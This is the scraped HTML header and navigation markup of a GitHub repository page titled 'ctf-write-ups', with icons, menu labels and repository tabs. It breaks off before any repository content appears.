<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="142745576" data-scoped-search-url="/0n3m4ns4rmy/ctf-write-ups/search" data-owner-scoped-search-url="/users/0n3m4ns4rmy/search" data-unscoped-search-url="/search" data-turbo="false" action="/0n3m4ns4rmy/ctf-write-ups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="WHBirwVbgJbj5r14jtoMNyVVDVK8t1xcl1v6xpaJX7Kb7a5bZ9j29uA4Dj7LoTW/s+Vxbv48ZDyvv2SEd/gOaw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> 0n3m4ns4rmy </span> <span>/</span> ctf-write-ups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>12</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/0n3m4ns4rmy/ctf-write-ups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions 